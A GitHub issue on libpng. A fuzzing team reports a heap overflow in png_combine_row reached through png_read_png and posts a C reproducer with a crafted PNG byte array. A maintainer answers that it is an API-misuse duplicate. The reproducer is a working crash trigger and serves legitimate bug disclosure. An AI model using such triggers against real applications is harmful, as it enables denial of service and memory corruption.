libpng icon indicating copy to clipboard operation
libpng copied to clipboard

A overflow crash happend in png_read_png

Open hopper-vul opened this issue 2 years ago • 3 comments

Hi, we have found a overflow crash inside png_read_png by using fuzzing.

The crash location is at: png_combine_row pngrutil.c:3675, which is the same as #455 mentioned, but absolute different routines. This crash directly happened in the inner of png_read_png.

The cause of this crash is little complicated, let us detail bellow.

As #455 mentioned, png_read_png will call png_read_info(png_ptr, info_ptr)->png_handle_IHDR(png_ptr, info_ptr) to read 13 bytes from a attached io file to initialize the png_ptr and info_ptr.

let assume the read 13 bytes are : {0, 11, 0, 32, 0, 0, 0, 32, 2, 0, 0, 0, 0, 129}. The following field are set to: width=0xb0020, height=0x20, bit_depth=0x2, ..., pixel_depth=0x10, rowbytes=0x2c008.

Then later in png_read_png, info_ptr->row_pointers are allocated buffers with size rowbytes=0x2c008.

      info_ptr->free_me |= PNG_FREE_ROWS;

      for (iptr = 0; iptr < info_ptr->height; iptr++)
         info_ptr->row_pointers[iptr] = png_voidcast(png_bytep,
             png_malloc(png_ptr, info_ptr->rowbytes));
   }

   png_read_image(png_ptr, info_ptr->row_pointers);

Next, png_read_image()->png_read_row()->png_combine_row() is called, and crash happend at {png_combine_row pngrutil.c:3675}.

memcpy(dp, sp, PNG_ROWBYTES(pixel_depth, row_width));

Here, dp is the passed info_ptr->row_pointers[0], pixel_depth=0x10, row_width=width=0xb0020 and PNG_ROWBYTES(pixel_depth, row_width) = 0x160040.

The crash happend because the size of dp is the size rowbytes=0x2c008, whereas the above operation try to write 0x160040 bytes into dp which is an overflow.

hopper-vul avatar Dec 29 '22 07:12 hopper-vul

Here is the trigger case, you can compile it to reproduce the crash.

#include "png.h"
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
typedef uint8_t   u8;   
typedef uint64_t  u64;
typedef int8_t  i8;
typedef int32_t i32;
int main() {
    i8 v0_tmp[] = {49, 46, 54, 46, 51, 55, 0, }; // user_png_ver
    i8 *v0 = malloc(sizeof v0_tmp);
    memcpy(v0, v0_tmp, sizeof v0_tmp);
    i8 *v1 = v0; // user_png_ver
    void *v2 = NULL; // error_ptr
    void (*v3)(struct png_struct_def *,i8 *) = NULL; // error_fn
    void (*v4)(struct png_struct_def *,i8 *) = NULL; // warn_fn
    void *v5 = NULL; // mem_ptr
    void * (*v6)(struct png_struct_def *,struct u64 ) = NULL; // malloc_fn
    void (*v7)(struct png_struct_def *,void *) = NULL; // free_fn
    struct png_struct_def *v8 = png_create_read_struct_2(v1, v2, v3, v4, v5, v6, v7); // png_ptr
    if (v8 == NULL) return 0;
    struct png_struct_def *v10 = v8; // png_ptr
    u8 v11_tmp[] = {137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82, 0, 11, 0, 32, 0, 0, 0, 32, 2, 0, 0, 0, 0, 129, 84, 103, 199, 0, 0, 0, 21, 80, 76, 84, 69, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 153, 255, 204, 102, 204, 204, 51, 153, 102, 0, 104, 169, 156, 0, 0, 0, 2, 115, 80, 76, 84, 0, 171, 55, 151, 183, 88, 0, 0, 0, 1, 98, 75, 71, 68, 0, 136, 5, 29, 72, 0, 0, 0, 9, 112, 72, 89, 115, 0, 0, 0, 72, 0, 0, 0, 72, 0, 70, 201, 107, 62, 0, 0, 0, 103, 73, 68, 65, 84, 40, 207, 189, 209, 203, 13, 128, 32, 16, 69, 81, 98, 9, 86, 160, 215, 96, 1, 216, 130, 52, 48, 9, 20, 96, 2, 253, 151, 224, 111, 51, 131, 43, 23, 122, 151, 39, 188, 132, 128, 99, 132, 126, 128, 142, 59, 199, 98, 194, 77, 171, 46, 6, 55, 197, 164, 202, 63, 3, 88, 16, 240, 6, 152, 55, 44, 212, 68, 209, 144, 139, 88, 56, 71, 22, 228, 24, 89, 184, 14, 24, 104, 111, 90, 27, 16, 159, 222, 78, 190, 126, 194, 92, 117, 225, 249, 217, 52, 237, 238, 71, 145, 26, 37, 18, 187, 239, 0, 0, 0, 37, 116, 69, 88, 116, 100, 97, 116, 101, 58, 99, 114, 101, 97, 116, 101, 0, 50, 48, 49, 53, 45, 48, 50, 45, 49, 49, 84, 48, 51, 58, 48, 48, 58, 48, 57, 43, 48, 49, 58, 48, 48, 252, 100, 186, 84, 0, 0, 0, 37, 116, 69, 88, 116, 100, 97, 116, 101, 58, 109, 111, 100, 105, 102, 121, 0, 50, 48, 49, 53, 45, 48, 50, 45, 49, 49, 84, 48, 50, 58, 51, 49, 58, 52, 49, 43, 48, 49, 58, 48, 48, 145, 42, 150, 207, 0, 0, 0, 25, 116, 69, 88, 116, 83, 111, 102, 116, 119, 97, 114, 101, 0, 65, 100, 111, 98, 101, 32, 73, 109, 97, 103, 101, 82, 101, 97, 100, 121, 113, 201, 101, 60, 0, 0, 0, 0, 73, 69, 78, 68, 174, 66, 96, 130, 0, }; // file_buf
    u8 *v11 = malloc(sizeof v11_tmp);
    memcpy(v11, v11_tmp, sizeof v11_tmp);
    char* v12 = "file___filename_11"; // __filename
    FILE *f_v12 = fopen(v12, "wb");
    fwrite(v11, sizeof v11_tmp, 1, f_v12);
    fclose(f_v12);
    i8 v13_tmp[] = {114, 98, 43, 0, }; // __modes
    i8 *v13 = malloc(sizeof v13_tmp);
    memcpy(v13, v13_tmp, sizeof v13_tmp);
    i8 *v14 = v13; // __modes
    struct _IO_FILE *v15 = fopen(v12, v14); // fp
    if (v15 == NULL) return 0;
    struct _IO_FILE *v17 = v15; // fp
    png_init_io(v10, v17); // $relative
    struct png_info_def *v19 = png_create_info_struct(v10); // info_ptr
    if (v19 == NULL) return 0;
    struct png_info_def *v21 = v19; // info_ptr
    i32 v22 = 502351751; // transforms
    void *v23 = NULL; // params
    i32 v24 = -626394128; // allowed
    i32 v25 = 4; // crit_action
    i32 v26 = 4; // ancil_action
    png_set_crc_action(v10, v25, v26); // $relative
    png_set_expand_16(v10); // $relative
    png_set_benign_errors(v10, v24); // $relative
    png_read_update_info(v10, v21); // $relative
    png_read_png(v10, v21, v22, v23); // $relative
}

hopper-vul avatar Dec 29 '22 07:12 hopper-vul

Application bug:

bug 457 is a duplicate of this. 457-2.patch (in the duplicate) applies to this as well as does 458.patch (which is an RTFM).

jbowler avatar Jun 22 '23 20:06 jbowler

@ctruta: please close, PR457 is a duplicate

jbowler avatar Dec 27 '23 02:12 jbowler